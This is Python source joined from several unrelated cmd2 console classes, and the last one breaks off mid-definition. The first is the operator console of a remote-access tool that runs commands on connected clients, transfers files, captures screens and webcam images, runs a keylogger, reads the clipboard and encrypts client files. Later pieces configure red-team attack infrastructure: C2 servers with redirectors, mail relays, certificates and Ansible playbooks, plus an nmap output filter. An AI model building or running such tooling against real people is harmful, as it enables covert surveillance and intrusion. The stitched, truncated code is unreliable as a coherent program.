block_parser.add_argument( "-c", "--close", action="store_true", help="closing sessions from blocked ips which are already established") crypt_parser = argparse.ArgumentParser(prog="crypt") crypt_parser.add_argument("-a", "--action", required=True, type=str, choices=["enc", "dec"]) crypt_parser.add_argument("-r", "--read", required=True, type=str, help="file or folder to read") crypt_parser.add_argument("-p", "--pwd", required=True, type=str, help="password to use") crypt_parser.add_argument("-s", "--sessions", required=True, nargs="+", help="sessions indices or groups") speak_parser = argparse.ArgumentParser(prog="speak") speak_parser.add_argument("-m", "--message", default="", type=str, help="message to read out") speak_parser.add_argument("-s", "--sessions", required=True, nargs="+", help="sessions indices or groups") def __init__(self, server): super().__init__() self.server = server self.prompt = "[+] " # setting options self.cmd_timeout = 15 self.zip_comp = 1 self.sock_timeout = 20 self.accept_new = True # adding some settings self.add_settable( cmd2.Settable("cmd_timeout", int, "clientside timeout before returning from a command", choices=range(3600))) self.add_settable( cmd2.Settable("zip_comp", int, "compression level when creating zip file", choices=range(1, 10))) self.add_settable( cmd2.Settable("sock_timeout", int, "serverside timeout for receiving and sending data", choices=range(3600))) self.add_settable( cmd2.Settable("accept_new", bool, "accept new incoming connections")) # delete some builtins del cmd2.Cmd.do_py del cmd2.Cmd.do_run_pyscript del cmd2.Cmd.do_run_script del cmd2.Cmd.do_quit del cmd2.Cmd.do_shortcuts del cmd2.Cmd.do_alias del cmd2.Cmd.do_macro def poutput(self, msg="", *, end: str = '\n'): super().poutput(msg) def pinfo(self, msg=""): super().poutput(f"[*] {msg}") def perror(self, msg="", *, end: str = "\n", apply_style: bool = True): super().perror(f"[-] {msg}") @cmd2.decorators.with_argparser(list_parser) def do_list(self, args): """List connected sessions""" self.server.list_sessions( self.server.connection.get_conn_fgoi(args.sessions)) @cmd2.decorators.with_argparser(exit_parser) def do_exit(self, _): """Exit server and close socket (not closing sessions)""" self.server.exit_server() return True @cmd2.decorators.with_argparser(tag_parser) def do_tag(self, args): """Edit sessions tag""" self.server.edit_tag( self.server.connection.get_conn_fgoi(args.sessions), args.tag) @cmd2.decorators.with_argparser(close_parser) def do_close(self, args): """Close and remove session""" self.server.close_session( self.server.connection.get_conn_fgoi(args.sessions)) @cmd2.decorators.with_argparser(group_parser) def do_group(self, args): """Edit sessions groups memberships""" self.server.edit_group(self.server.connection.get_conn_fgoi(args.add), self.server.connection.get_conn_fgoi(args.rm), args.groups) @cmd2.decorators.with_argparser(exe_parser) def do_exe(self, args): """Remote execute terminal command""" self.server.execute_command( args.exe, self.server.connection.get_conn_fgoi(args.sessions)) @cmd2.decorators.with_argparser(down_parser) def do_down(self, args): """Download file from client""" self.server.download_file( args.read, args.write, self.server.connection.get_conn_fgoi(args.sessions)) @cmd2.decorators.with_argparser(up_parser) def do_up(self, args): """Upload file to client""" self.server.upload_file( args.read, args.write, self.server.connection.get_conn_fgoi(args.sessions)) @cmd2.decorators.with_argparser(screen_parser) def do_screen(self, args): """Capture screen image""" self.server.make_screenshot( args.monitor, args.write, self.server.connection.get_conn_fgoi(args.sessions)) @cmd2.decorators.with_argparser(zip_parser) def do_zip(self, args): """Compress to zip archive""" self.server.zip_file_or_folder( args.compression_level, args.read, args.write, self.server.connection.get_conn_fgoi(args.sessions)) @cmd2.decorators.with_argparser(cam_parser) def do_cam(self, args): """Capture camera image""" self.server.capture_camera_picture( args.port, args.write, self.server.connection.get_conn_fgoi(args.sessions)) @cmd2.decorators.with_argparser(log_keys_parser) def do_logger(self, args): """Start/Stop keylogger""" self.server.log_keys( args.action, args.file, self.server.connection.get_conn_fgoi(args.sessions)) @cmd2.decorators.with_argparser(clip_parser) def do_clip(self, args): """Get/Set clipboard content""" self.server.edit_clipboard( args.content, self.server.connection.get_conn_fgoi(args.sessions)) @cmd2.decorators.with_argparser(block_parser) def do_block(self, args): """Block a client by ip""" self.server.block_address(args.action, args.ips, args.close) @cmd2.decorators.with_argparser(crypt_parser) def do_crypt(self, args): """En/decrypt a file or directory with password""" self.server.crypt(args.action, args.read, args.pwd, self.server.connection.get_conn_fgoi(args.sessions)) @cmd2.decorators.with_argparser(speak_parser) def do_speak(self, args): """Read a given text out loud""" self.server.speak(args.message, self.server.connection.get_conn_fgoi(args.sessions)) # categorize the functions cmd2.categorize((do_list, do_exit, do_tag, do_close, do_group, do_block, cmd2.Cmd.do_edit, cmd2.Cmd.do_help, cmd2.Cmd.do_history, cmd2.Cmd.do_set, cmd2.Cmd.do_shell), "Executed on the server") cmd2.categorize((do_exe, do_down, do_up, do_screen, do_zip, do_cam, do_logger, do_clip, do_crypt, do_speak), "Executed on the client")
class cmd_main(cmd2.Cmd): """cmd2 instance for webserver module""" # The mod dictionary for the mail module mod = {} domains = [] available_regions_list = [] providers_list = [] def __init__(self): super().__init__() global campaign_list global modules_ids global module global domain_name # Hide the Quit funcitionality hide_cmd2_modules(self) dir_path = "config" if os.path.exists(dir_path + "/config.json"): with open(dir_path + '/config.json', 'r') as filehandle: config = json.load(filehandle) self.mod = config["mod_mail"] self.providers_list = config["providers_list"] self.module_provider_parser.choices = self.providers_list for prov in self.providers_list: if self.mod["provider"] == prov: self.available_regions_list = config[prov]["regions"] self.module_regions_parser.choices = self.available_regions_list self.size_list = config[prov]["size"] self.module_size_parser.choices = self.size_list else: print("The config/config.json file does not exists! Exiting...") return True # Check if the editmodule functionality was used if module: self.mod = dict(module) else: self.mod["id"] = randomString() # Create list with modules id for c in campaign_list: if c["module"] != "dns_record" and c[ "module"] != "letsencrypt" and c["module"] != "mail" and c[ "module"] != "redirector" and c[ "module"] != "godaddy" and c["module"] != "ansible": modules_ids.insert(len(modules_ids), (c["id"])) for i in range(c["redirectors"]): modules_ids.insert( len(modules_ids), (c["id"] + "-" + str(i + 1) + "/" + c["module"])) self.domains = domain_names self.domanin_name_parser.choices = domain_names self.allowed_ips_parser.choices = modules_ids def do_back(self, arg): """Return to main menu""" return True def do_clear(self, arg): """Clears screen""" os.system('clear') def do_info(self, mod): """Prints variable table for this module""" if mod: x = PrettyTable() x.title = mod["module"] + "/" + mod["id"] x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", mod["id"], "N/A", "Module ID"]) x.add_row([ "domain_name", mod["domain_name"], "yes", "Domain Name to use" ]) x.add_row( ["subdomain", mod["subdomain"], "yes", "Subdomain to use"]) x.add_row([ "allowed_ips", mod["allowed_ips"], "yes", "IPs which are allowed to connect to relay emails" ]) x.add_row( ["provider", mod["provider"], "yes", "Provider to be used "]) x.add_row([ "region", mod["region"], "yes", "Regions to create Droplet in." ]) x.add_row(["size", mod["size"], "no", "Droplet size to launch."]) x.align["DESCRITPION"] = "l" else: x = PrettyTable() x.title = 'Mail module' x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", self.mod["id"], "yes", "Module ID"]) x.add_row([ "domain_name", self.mod["domain_name"], "yes", "Domain Name to use" ]) x.add_row([ "subdomain", self.mod["subdomain"], "yes", "Subdomain to use" ]) x.add_row([ "allowed_ips", self.mod["allowed_ips"], "yes", "IPs which are allowed to connect to relay emails" ]) x.add_row([ "provider", self.mod["provider"], "yes", "Provider to be used " ]) x.add_row([ "region", self.mod["region"], "yes", "Regions to create Droplet in." ]) x.add_row( ["size", self.mod["size"], "no", "Droplet size to launch."]) x.align["DESCRITPION"] = "l" print(x) # set command # create the top-level parser for the set command set_parser = argparse.ArgumentParser(prog='set') set_subparsers = set_parser.add_subparsers(title='set-commands', help='set-command help') # create the parser for the "region" sub-command parser_region = set_subparsers.add_parser( 'region', help= 'Regions to create Droplet(s) in. Defaults to LON1. Accepted values are NYC1/2/3, SFO1/2, AMS1/2, SGP1, LON1, FRA1, TOR1, BLR1.' ) module_regions_parser = parser_region.add_argument( 'region', choices=available_regions_list, type=str, help='example : [ set region <AMS1> ]') # create the parser for the "size" sub-command parser_size = set_subparsers.add_parser('size', help='Size of the droplet.') module_size_parser = parser_size.add_argument( 'size', type=str, help='example: [ set size <s-1vcpu-1gb>] ') # create the parser for the "provider" sub-command parser_provider = set_subparsers.add_parser('provider', help='Provider to be used ') module_provider_parser = parser_provider.add_argument( 'provider', choices=providers_list, type=str, help='example : [set provider <digitalocean> ]') # create the parser for the "domain name" sub-command parser_domain_name = set_subparsers.add_parser('domain_name', help='The Domain Name') domanin_name_parser = parser_domain_name.add_argument( 'domain_name', choices=domains, type=str, help='example : [ set domain_name <example.com> ]') # create the parser for the "subdomain" sub-command parser_subdomain = set_subparsers.add_parser( 'subdomain', help='The Subdomain for the mail server') parser_subdomain.add_argument('subdomain', type=str, help='example : [ set subdomain <mail> ]') # create the parser for the "allowed_ips" sub-command parser_allowed_ips = set_subparsers.add_parser( 'allowed_ips', help='IPs which are allowed to connect to relay emails') allowed_ips_parser = parser_allowed_ips.add_argument( '-m', "--modules", nargs="+", type=str, help='example : [ set allowed_ips <IP> ]') # parser_allowed_ips.add_argument( '-c', '--custom', type=str, nargs="+", help='Custom IP example : [ set allowed_ips <IP> ]') # def set_region(self, arg): """Sets the region variable""" self.mod["region"] = arg.region # Change provider for all modules on AWS if self.mod["provider"] == "aws": notification = cmd2.ansi.style("***", fg=Fg.RED, bg=None, bold=True, underline=False) print( f"""\n{notification} Only one region is supported per project on AWS. {notification}\n""" ) global campaign_list for c in campaign_list: if c["provider"] == "aws": if c["region"] != arg.region: print( cmd2.ansi.style( f"""Module with {c["id"]} has region set to {c["region"]}. Replacing...""", fg=Fg.RED, bg=None, bold=True, underline=False)) c["region"] = arg.region def set_size(self, arg): """Sets the size variable""" self.mod["size"] = arg.size def set_provider(self, arg): """Sets the provider variable""" self.mod["provider"] = arg.provider dir_path = "config" if os.path.exists(dir_path + "/config.json"): with open(dir_path + '/config.json', 'r') as filehandle: config = json.load(filehandle) for prov in self.providers_list: if self.mod["provider"] == prov: self.available_regions_list = config[prov]["regions"] self.module_regions_parser.choices = self.available_regions_list self.size_list = config[prov]["size"] self.module_size_parser.choices = self.size_list self.mod["region"] = config[prov]["default_region"] self.mod["size"] = config[prov]["default_size"] def set_domain_name(self, arg): """Sets the domain_name variable""" self.mod["domain_name"] = arg.domain_name def set_subdomain(self, arg): """Sets the subdomain variable""" self.mod["subdomain"] = arg.subdomain def set_allowed_ips(self, arg): """Sets the allowed_ips variable""" self.mod["allowed_ips"] = [] if arg.custom is not None: for c in arg.custom: self.mod["allowed_ips"].insert(len(self.mod["allowed_ips"]), c) if arg.modules is not None: for m in arg.modules: self.mod["allowed_ips"].insert(len(self.mod["allowed_ips"]), m.split('/')[0]) #Set handler functions for the sub-commands parser_size.set_defaults(func=set_size) parser_region.set_defaults(func=set_region) parser_provider.set_defaults(func=set_provider) parser_domain_name.set_defaults(func=set_domain_name) parser_subdomain.set_defaults(func=set_subdomain) parser_allowed_ips.set_defaults(func=set_allowed_ips) @cmd2.with_argparser(set_parser) def do_set(self, args): """Set the variables for the mail module""" func = getattr(args, 'func', None) if func is not None: # Call whatever sub-command function was selected func(self, args) else: # No sub-command was provided, so call help self.do_help('help') def do_add(self, args): """Adds mail module to the project """ if not self.mod["domain_name"]: print("Variable domain_name can not be None") elif not self.mod["allowed_ips"]: print("Variable allowed_ips can not be None") else: global module module = self.mod return True # Command categories CMD_CAT_GENERAL = 'General (type help <command>)' CMD_CAT_MODULE = 'Module (type help <command>)' cmd2.categorize((do_add, do_set), CMD_CAT_MODULE) cmd2.categorize(do_info, CMD_CAT_GENERAL)
class TerminalBase(cmd2.Cmd): CMD_CAT_FILTER = "Configure Filters" service_filter = '' port_filter = '' host_filter = '' include_ports = True have_ports = True only_alive = True verbose = True raw = False have_ports_changed = False nmapOutput = None userOptions = [ [ constants.OPT_SERVICE_FILTER, "string", "", "Comma seperated list of services to show, e.g. \"http,ntp\"" ], [ constants.OPT_PORT_FILTER, "string", "", "Comma seperated list of ports to show, e.g. \"80,123\"" ], [ constants.OPT_HOST_FILTER, "string", "", "Comma seperated list of hosts to show, e.g. \"127.0.0.1,127.0.0.2\"" ], [ constants.OPT_ALIVE, "bool", "True", "When enabled, any hosts which were down will be excluded from output [ True / False ]" ], [ constants.OPT_HAVE_PORTS, "bool", "True", "When enabled, hosts with no open ports are excluded from output [ True / False ]" ], [ constants.OPT_INCLUDE_PORTS, "bool", "True", "Toggles whether ports are included in 'list/services' output [ True / False ]" ], [ constants.OPT_VERBOSE, "bool", "True", "Shows verbose service information [ True / False ]" ], [ constants.OPT_RAW, "bool", "False", "Shows raw output (no headings) [ True / False ]" ] ] userOptionChanged = { constants.OPT_SERVICE_FILTER: False, constants.OPT_PORT_FILTER: False, constants.OPT_HOST_FILTER: False, constants.OPT_HAVE_PORTS: False, constants.OPT_ALIVE: False, constants.OPT_INCLUDE_PORTS: False, constants.OPT_VERBOSE: False, constants.OPT_RAW: False } allow_cli_args = False cmd2.categorize(cmd2.Cmd.do_set, CMD_CAT_FILTER) def __init__(self, *args, **kwargs): self.setupUserOptions() super().__init__(*args, **kwargs) self.register_postcmd_hook(self.postCmdHook) # Use this to check if the set command was used and do our own internal logic # in addition to cmd2's logic def postCmdHook( self, data: cmd2.plugin.PostcommandData) -> cmd2.plugin.PostcommandData: if data.statement.command == 'set' and len( data.statement.args.split()) == 2: tmpOption = data.statement.args.split()[0] tmpValue = data.statement.args.split()[1] for option in self.userOptions: if (tmpOption.lower() == option[0]): self.setOption(option[0], tmpValue) break return data def setupUserOptions(self): for userOption in self.userOptions: self.settable[userOption[0]] = userOption[3] def do_exit(self, inp): '''Exit the interactive prompt''' print("Bye") return True @cmd2.with_category(CMD_CAT_FILTER) def do_unset_all(self, inp): '''"unset_all" will reset all user options to default values''' consoleOutput = TextOutput() for option in [option[0] for option in self.userOptions]: if (self.unsetOption(option)): consoleOutput.addHumn("Unset [" + option + "] ==> " + str(self.getOption(option))) else: consoleOutput.addErrr("Failed to unset [%s]" % option) self.printTextOutput(consoleOutput) @cmd2.with_category(CMD_CAT_FILTER) def do_unset(self, inp): '''"unset [option]" will unset the specified user option''' splitText = inp.split() if (len(splitText) != 1): print("Invalid use of unset command") else: success = self.unsetOption(splitText[0].lower()) if (success): print("Unset [" + splitText[0].lower() + "] ==> ''") def complete_show(self, text, line, begidx, endidx): return ['options'] @cmd2.with_category(CMD_CAT_FILTER) def do_show(self, inp): '''"show options" will list current user options''' self.syncOptions() if (inp.lower() == 'options'): self.poutput('') self.poutput( tabulate.tabulate( self.userOptions, headers=['Setting', "Type", 'Value', 'Description'], tablefmt="github")) self.poutput('') else: self.poutput('"show options" will list current user options') def complete_set(self, text, line, begidx, endidx): # remove 'set' from first array slot splitText = line.split()[1:] if (line.strip() == 'set'): return [option for option in self.settable] if (len(splitText) == 1): return [ option for option in self.settable if option.startswith(splitText[0].lower()) and not (option == splitText[0].lower()) ] if (len(splitText) == 2): if splitText[0] == constants.OPT_SERVICE_FILTER: # need to split this value on comma incase user specified more than one service # then use last split. Also remove quotes tmpText = splitText[1].replace("\"", "") tmpServices = tmpText.split(',') curService = tmpServices[-1:][0] prefix = '' if len(tmpServices) > 1: prefix = ','.join(tmpServices[:-1]) + ',' return self.tryMatchService(curService, prefix) elif splitText[0] == constants.OPT_HOST_FILTER: # need to split this value on comma incase user specified more than one IP # then use last split. Also remove quotes tmpText = splitText[1].replace("\"", "") tmpHosts = tmpText.split(',') curHost = tmpHosts[-1:][0] prefix = '' if len(tmpHosts) > 1: prefix = ','.join(tmpHosts[:-1]) + ',' return [(prefix + ip) for ip in self.nmapOutput.Hosts if curHost in ip] return [text] def unsetOption(self, option): if (option == constants.OPT_HAVE_PORTS): self.have_ports = True elif (option == constants.OPT_HOST_FILTER): self.host_filter = '' elif (option == constants.OPT_PORT_FILTER): self.port_filter = '' elif (option == constants.OPT_RAW): self.raw = False elif (option == constants.OPT_SERVICE_FILTER): self.service_filter = '' elif (option == constants.OPT_VERBOSE): self.verbose = True elif (option == constants.OPT_INCLUDE_PORTS): self.include_ports = True elif (option == constants.OPT_ALIVE): self.alive = True else: return False return True def perror(self, message): super(TerminalBase, self).perror(message, traceback_war=False) def setOption(self, specifiedOption, value): for option in self.userOptions: if option[0] == specifiedOption.lower(): self.userOptionChanged[option[0]] = True if (option[1] == "bool"): self.setBoolOption(option, specifiedOption, value) elif (option[0] == constants.OPT_HOST_FILTER): self.setHostFilter(option, value.replace('"', '')) else: option[2] = value.replace('"', '') def setHostFilter(self, option, userFilter): tmpHostFilter = helpers.stringToHostFilter(userFilter.replace('"', '')) filterString = ','.join([filter.filter for filter in tmpHostFilter]) option[2] = filterString self.host_filter = filterString def setBoolOption(self, cmdOption, userOption, value): tmpValue = value.lower().strip() result = (tmpValue in constants.TRUE_STRINGS) cmdOption[2] = str(result) if (cmdOption[0] == constants.OPT_RAW): settings.printHumanFriendlyText = not result def getOptionBool(self, specifiedOption): return "True" == self.getOption(specifiedOption) def syncOptions(self): for option in self.userOptions: if (option[0] == constants.OPT_HAVE_PORTS): option[2] = self.have_ports elif (option[0] == constants.OPT_HOST_FILTER): option[2] = self.host_filter elif (option[0] == constants.OPT_PORT_FILTER): option[2] = self.port_filter elif (option[0] == constants.OPT_RAW): option[2] = self.raw elif (option[0] == constants.OPT_SERVICE_FILTER): option[2] = self.service_filter elif (option[0] == constants.OPT_VERBOSE): option[2] = self.verbose elif (option[0] == constants.OPT_INCLUDE_PORTS): option[2] = self.include_ports elif (option[0] == constants.OPT_ALIVE): option[2] = self.only_alive def getOption(self, specifiedOption): for option in self.userOptions: if (option[0] == specifiedOption.lower()): return option[2] def getPortFilter(self): portFilter = [] rawPortFilterString = self.port_filter # Check only contains valid chars if (re.match(r'^([\d\s,]+)$', rawPortFilterString)): # Remove any excess white space (start/end/between commas) curPortFilterString = re.sub(r'[^\d,]', '', rawPortFilterString) # Split filter on comma, ignore empty entries and assign to filter portFilter = [ int(port) for port in curPortFilterString.split(',') if len(port) > 0 ] return portFilter def getHostFilter(self): return helpers.stringToHostFilter(self.host_filter) def getServiceFilter(self): return [ option for option in self.service_filter.split(',') if len(option.strip()) > 0 ] def getFilters(self): filters = nmap.NmapFilters() filters.services = self.getServiceFilter() filters.ports = self.getPortFilter() filters.hosts = self.getHostFilter() filters.onlyAlive = self.only_alive filters.mustHavePorts = self.have_ports return filters def printTextOutput(self, textOutput): for line in textOutput.entries: if (line.output == constants.TEXT_NORMAL): self.poutput(line.getText()) elif (line.output == constants.TEXT_ERROR): self.perror(line.getText()) elif (not self.quiet) and ( not self.redirecting) and settings.printHumanFriendlyText: if (line.output == constants.TEXT_FRIENDLY): self.pfeedback(line.getText()) elif (line.output == constants.TEXT_SUCCESS): self.pfeedback(line.getText()) else: self.poutput(line.getText()) def tryMatchService(self, text, prefix): matches = [] try: serviceFiles = [ '/usr/share/nmap/nmap-services', '/etc/services', 'C:\\windows\\system32\\drivers\\etc\\services' ] for serviceFile in serviceFiles: if (os.path.isfile(serviceFile)): fhServices = open(serviceFile, 'r') tmpRegex = '(' + text + r'\S*)\s+\d+/(?:tcp|udp)' reg = re.compile(tmpRegex) for line in fhServices: matches += [ match for match in reg.findall(line) if match not in matches ] fhServices.close() break except: raise return [(prefix + match) for match in matches] def splitInput(self, line, curCmd): splitInput = [] try: splitInput = [ option for option in shlex.split(line[line.index(curCmd) + len(curCmd):].strip(), posix=False) ] except ValueError: # Append quote to string to prevent exception splitInput = [ option for option in shlex.split(( line[line.index(curCmd) + len(curCmd):] + '"').strip(), posix=False) ] return splitInput
class cmd_main(cmd2.Cmd): """cmd2 instance for letsencrypt module""" # The mod dictionary for the letsencrypt module mod = {} domain_names = [] record_list = [] def __init__(self): super().__init__() hide_cmd2_modules(self) global campaign_list global module dir_path = "config" if os.path.exists(dir_path + "/config.json"): with open(dir_path + '/config.json', 'r') as filehandle: config = json.load(filehandle) self.mod = config["mod_letsencrypt"] else: print("The config/config.json file does not exists! Exiting...") return True # Check if the editmodule functionality was used if module: self.mod = dict(module) else: self.mod["id"] = randomString() # TODO add functionality for wirldcard certificates: # https://medium.com/@saurabh6790/generate-wildcard-ssl-certificate-using-lets-encrypt-certbot-273e432794d7 self.domain_list = [] self.record_list = [] for c in campaign_list: if c["module"] == "dns_record" and c["type"] == "A": if c["name"] == "@" or c["name"] == "": self.record_list.append(c["records"]) for k in c["records"].keys(): self.domain_list.append(k) else: rec = dict(c["records"]) for k in c["records"].keys(): self.domain_list.append(c["name"] + "." + k) rec[c["name"] + "." + k] = rec.pop(k) self.record_list.append(rec) self.domain_names = self.domain_list self.domain_name_parser.choices = self.domain_list def do_info(self, mod): """Prints variable table""" if mod: x = PrettyTable() x.title = mod["module"] + "/" + mod["id"] x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", mod["id"], "N/A", "Module ID"]) x.add_row([ "domain_name", mod["domain_name"], "yes", "The domain name for the certificate" ]) x.add_row([ "email", mod["email"], "yes", "Email for certificate defaults to [email protected]" ]) x.add_row( ["mod_id", mod["mod_id"], "no", "Autoloaded from domain_name"]) x.align["DESCRITPION"] = "l" else: x = PrettyTable() x.title = 'Lets Encrypt Module' x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", self.mod["id"], "N/A", "Module ID"]) x.add_row([ "domain_name", self.mod["domain_name"], "yes", "The domain name for the certificate" ]) x.add_row([ "email", self.mod["email"], "yes", "Email for certificate defaults to [email protected]" ]) x.add_row([ "mod_id", self.mod["mod_id"], "no", "Autoloaded from domain_name" ]) x.align["DESCRITPION"] = "l" print(x) def do_back(self, arg): """Return to main menu""" return True def do_clear(self, arg): """Clears screen""" os.system('clear') # set command # create the top-level parser for the set command set_parser = argparse.ArgumentParser(prog='set') set_subparsers = set_parser.add_subparsers(title='set-commands', help='set-command help') # create the parser for the "email" sub-command parser_email = set_subparsers.add_parser( 'email', help='Email for certificate defaults to [email protected]') parser_email.add_argument('email', type=str, help='example: [ set email [email protected] ]') # create the parser for the "domain name" sub-command parser_domain_name = set_subparsers.add_parser( 'domain_name', help='The domain name for the certificate') domain_name_parser = parser_domain_name.add_argument( 'domain_name', choices=domain_names, type=str, help='example: [ set domain_name <example.com> ]') def set_domain_name(self, arg): """Sets the domain_name variable""" self.mod["domain_name"] = arg.domain_name # for idx,item in enumerate(list): for idx, d in enumerate(self.domain_names): if d == arg.domain_name: self.mod["mod_id"] = self.record_list[idx][d] def set_email(self, arg): """Sets the email variable""" self.mod["email"] = arg.email #Set handler functions for the sub-commands parser_domain_name.set_defaults(func=set_domain_name) parser_email.set_defaults(func=set_email) @cmd2.with_argparser(set_parser) def do_set(self, args): """Set the variables for the module""" func = getattr(args, 'func', None) if func is not None: # Call whatever sub-command function was selected func(self, args) else: # No sub-command was provided, so call help self.do_help('help') def do_add(self, args): """Adds letsencrypt module to the project """ if not self.mod["domain_name"]: print("Variable domain_name can not be None") elif not self.mod["mod_id"]: print("Variable mod_id can not be None") else: global module module = self.mod return True # Command categories CMD_CAT_GENERAL = 'General (type help <command>)' CMD_CAT_MODULE = 'Module (type help <command>)' cmd2.categorize((do_add, do_set), CMD_CAT_MODULE) cmd2.categorize(do_info, CMD_CAT_GENERAL)
class cmd_main(cmd2.Cmd): """cmd2 instance for firewall module""" # The mod dictionary for the firewall module mod = {} playbooks_list = [] providers_list = [] def __init__(self): super().__init__() global module global campaign_list # Hide the Quit funcitionality hide_cmd2_modules(self) dir_path = "config" if os.path.exists(dir_path+"/config.json"): with open(dir_path+'/config.json', 'r') as filehandle: config = json.load(filehandle) self.mod = config["mod_ansible"] else: print("The config/config.json file does not exists! Exiting...") return True # Check if the editmodule functionality was used if module: self.mod = dict(module) else: self.mod["id"] = randomString() # Create list with modules id modules_ids=[] for c in campaign_list: if c["module"] != "dns_record" and c["module"] != "letsencrypt" and c["module"] != "godaddy" and c["module"] != "ansible" and c["module"] != "redirector" and c["module"] != "mail": modules_ids.insert(len(modules_ids),(c["id"]+"/"+c["module"])) if c["module"] != "redirector": for i in range(c["redirectors"]): modules_ids.insert(len(modules_ids),(c["id"]+"-"+str(i+1)+"/"+c["module"])) modules_ids.insert(len(modules_ids),"all") self.module_hosts_parser.choices = modules_ids # Load the playbooks dir_path = "redbaron/data/playbooks" for pb in os.listdir(dir_path): self.playbooks_list.append(pb) def do_back(self, arg): """Return to main menu""" return True def do_clear(self, arg): """Clears screen""" os.system('clear') def do_info(self,mod): """Prints variable table""" if mod: x = PrettyTable() x.title = mod["module"] + "/"+ mod["id"] x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", mod["id"], "N/A", "Module ID"]) x.add_row(["hosts", mod["hosts"], "yes", "Module to be used"]) x.add_row(["playbook", mod["playbook"], "yes", "Playbook to be used"]) x.align["DESCRITPION"] = "l" else: x = PrettyTable() x.title = 'Ansible module' x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", self.mod["id"], "N/A", "Module ID"]) x.add_row(["hosts", self.mod["hosts"], "yes", "Module to be used"]) x.add_row(["playbook", self.mod["playbook"], "yes", "Playbook to be used"]) x.align["DESCRITPION"] = "l" print(x) # set command # create the top-level parser for the set command set_parser = argparse.ArgumentParser(prog='set') set_subparsers = set_parser.add_subparsers(title='set-commands', help='Sets the variables of the module') # create the parser for the "hosts" sub-command parser_hosts = set_subparsers.add_parser('hosts', help='hosts to be used') module_hosts_parser = parser_hosts.add_argument('hosts',nargs="+", type=str, help='example : [set hosts <id> ]') parser_playbook = set_subparsers.add_parser('playbook', help='playbook to be used') parser_playbook.add_argument('playbook', type=str,choices=playbooks_list, help='example : [set playbook <playbook name> ]') def set_mod(self, arg): """Sets the hosts variable""" if 'all' in arg.hosts: for c in campaign_list: if c["module"] != "dns_record" and c["module"] != "letsencrypt" and c["module"] != "godaddy" and c["module"] != "ansible": self.mod["hosts"].insert(len(self.mod["hosts"]),(c["id"]+"/"+c["module"])) for i in range(c["redirectors"]): self.mod["hosts"].insert(len(self.mod["hosts"]),(c["id"]+"-"+str(i+1)+"/"+c["module"])) else: self.mod["hosts"]= arg.hosts def set_playbook(self, arg): """Sets the =playbook variable""" self.mod["playbook"]= arg.playbook #Set handler functions for the sub-commands parser_hosts.set_defaults(func=set_mod) parser_playbook.set_defaults(func=set_playbook) @cmd2.with_argparser(set_parser) def do_set(self, args): """Set the variables for the module""" func = getattr(args, 'func', None) if func is not None: # Call whatever sub-command function was selected func(self, args) else: # No sub-command was provided, so call help self.do_help('help') def do_add(self,args): """Adds c2 module to the project """ global module module = self.mod if self.mod["hosts"]: module = self.mod return True else: print("The hosts can not be None!") if self.mod["playbook"]: module = self.mod return True else: print("The playbook can not be None!") # Command categories CMD_CAT_GENERAL = 'General (type help <command>)' CMD_CAT_MODULE = 'Module (type help <command>)' cmd2.categorize((do_add,do_set), CMD_CAT_MODULE) cmd2.categorize(do_info, CMD_CAT_GENERAL)
class cmd_main(cmd2.Cmd): """cmd2 instance for c2 module""" # The mod dictionary for the c2 module mod = {} tools_list = [] available_regions_list = [] type_list = ["http", "dns"] providers_list = [] size_list = [] distros_list = [] def __init__(self): super().__init__() # Hide the Quit funcitionality hide_cmd2_modules(self) global module dir_path = "config" if os.path.exists(dir_path + "/config.json"): with open(dir_path + '/config.json', 'r') as filehandle: config = json.load(filehandle) self.mod = config["mod_c2"] self.providers_list = config["providers_list"] self.module_provider_parser.choices = self.providers_list for prov in self.providers_list: if self.mod["provider"] == prov: self.available_regions_list = config[prov]["regions"] self.module_regions_parser.choices = self.available_regions_list self.size_list = config[prov]["size"] self.module_size_parser.choices = self.size_list self.distros_list = config["distros"] self.module_distro_parser.choices = config[prov][ "supported_distros"] if self.mod["provider"] == "aws": self.mod["ami"] = config["aws"]["amis"][ self.mod["region"] + "-" + self.mod["distro"]] else: self.mod["ami"] = "" else: print("The config/config.json file does not exists! Exiting...") return True if module: self.mod = dict(module) else: self.mod["id"] = randomString() # Load scripts dir_path = "redbaron/data/scripts/tools" for tool in os.listdir(dir_path): self.tools_list.append(tool.split(".")[0]) def do_back(self, arg): """Return to main menu""" return True def do_clear(self, arg): """Clears screen""" os.system('clear') def do_info(self, mod): """Prints variable table""" if mod: x = PrettyTable() x.title = mod["module"] + "/" + mod["id"] x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", mod["id"], "N/A", "Module ID"]) x.add_row([ "type", mod["type"], "yes", "Type of c2 Accepted values are: HTTP/DNS." ]) x.add_row( ["provider", mod["provider"], "yes", "Provider to be used "]) x.add_row(["distro", mod["distro"], "yes", "Distro to be used"]) x.add_row([ "region", mod["region"], "yes", "Regions to create Droplet in." ]) x.add_row(["size", mod["size"], "yes", "Droplet size to launch. "]) x.add_row([ "redirectors", mod["redirectors"], "yes", "Number of redirectors to launch for each c2." ]) x.add_row([ "tools", mod["tools"], "no", "Tools to be installed on droplet creation." ]) x.align["DESCRITPION"] = "l" else: x = PrettyTable() x.title = 'C2 module' x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", self.mod["id"], "N/A", "Module ID"]) x.add_row([ "type", self.mod["type"], "yes", "Type of c2 Accepted values are: HTTP/DNS." ]) x.add_row([ "provider", self.mod["provider"], "yes", "Provider to be used " ]) x.add_row( ["distro", self.mod["distro"], "yes", "Distro to be used"]) x.add_row([ "region", self.mod["region"], "yes", "Regions to create Droplet in." ]) x.add_row( ["size", self.mod["size"], "yes", "Droplet size to launch"]) x.add_row([ "redirectors", self.mod["redirectors"], "yes", "Number of redirectors to launch for each c2. " ]) x.add_row([ "tools", self.mod["tools"], "no", "Tools to be installed on droplet creation." ]) x.align["DESCRITPION"] = "l" print(x) # set command # create the top-level parser for the set command set_parser = argparse.ArgumentParser(prog='set') set_subparsers = set_parser.add_subparsers( title='set-commands', help='Sets the 